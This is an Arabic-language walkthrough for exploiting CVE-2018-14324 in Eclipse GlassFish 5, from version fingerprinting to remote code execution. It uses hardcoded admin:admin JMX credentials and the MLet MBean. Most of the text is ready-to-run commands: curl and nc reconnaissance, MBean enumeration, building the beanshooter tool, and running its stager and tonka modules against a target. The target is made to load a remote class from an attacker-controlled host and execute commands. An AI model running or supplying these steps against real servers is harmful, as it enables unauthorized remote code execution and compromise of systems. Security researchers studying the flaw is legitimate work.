
اختراق Eclipse GlassFish - CVE-2018-14324
لا يشرح وصف CVE-2018-14324 تأثير هذه الثغرة بشكل كامل. باختصار، لديك إمكانية الوصول إلى إضافات إدارة جافا (JMX) عبر بيانات اعتماد admin:admin مضمّنة في الكود.
على الرغم من أن التأثير مُدرج على أنه "احتمال الوصول إلى معلومات حساسة، أو تنفيذ عمليات على قاعدة البيانات، أو التلاعب بالعرض التجريبي عبر جلسة JMX RMI"، إلا أنه لا يوضح ما يعنيه التلاعب عبر جلسة JMX RMI.
لم أتعمق إلا بسبب درجة CVSS المرتفعة البالغة 9.8 واكتشفت أنه يمكنك عمليًا تحقيق تنفيذ عن بُعد (RCE) عبر MBean باسم javax.management.loading:type=MLet، وهو مفعّل افتراضيًا في نسخة GlassFish 5.
قم بجرد خادم GlassFish من خلال النظر إلى لافتة الإصدار.
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
إذا كان الإصدار 5، فهو عرضة لثغرة CVE-2018-14324.
ثم تحقق مما إذا كانت خدمة JMX RMI تعمل على المنفذ 7676.
nc <IP_ADDRESS> 7676
يجب أن ترى سلسلة الاتصال بخدمة JMX RMI. احتفظ بهذه السلسلة لاستخدامها لاحقًا.
على سبيل المثال:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
كما ترى، اسم المضيف vm31465 مستخدم في سلسلة الاتصال، وهناك منفذان مذكوران، 8686 و7676.
يجب إضافة vm31465 إلى ملف /etc/hosts لديك، بحيث يشير إلى عنوان IP الخاص بـ . إذا كنت تستخدم Beanshooter، فليس ذلك ضروريًا.
ما هي JMX بحق الجحيم؟ هي إضافات إدارة جافا (JMX)، وهي تقنية تتيح لك تنفيذ واجهات إدارة لتطبيقات جافا. اعتبرها بمثابة SNMP لتطبيقات جافا.
أولاً، تحتاج إلى تعداد MBeans المتاحة على النظام الهدف.
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
بهذا السكربت، ستحصل على قائمة بـ MBeans وسماتها وعملياتها.
يتيح لك MBean الخاص بـ com.sun.management:type=DiagnosticCommand تشغيل أوامر تشخيصية على JVM الهدف. يمكنك استخدامه لجرد خصائص النظام، راجع DiagnosticCommand.java لمزيد من المعلومات.
إذا رأيت javax.management.loading:type=MLet، فيجب أن تكون قادرًا على استغلال الهدف. يسمح لك هذا الـ MBean بتحميل أصناف (Classes) جافا عن بُعد إلى JVM الهدف.
ومع ذلك، قد يمنعك مدير أمان جافا من تنفيذ أي كود تعسفي.
الاستغلال الوحيد العامل لتحقيق RCE كان وحدة tomka في beanshooter. تم حظر الاستغلالات المخصصة بواسطة مدير الأمان. تحميل MLet كان لا يزال يعمل، لكن لم يُسمح للصنف بتنفيذ الكود.
استخدم وحدة Beanshooter tomka لاستغلال الهدف.
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
يمكنك أيضًا التصحيح (Debug) عن طريق كتابة محمّل MBean خاص بك ومراقبة ما إذا كان الهدف يتصل بخادم MLet الخاص بك. التدفق على النحو التالي:
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup
attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file
attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())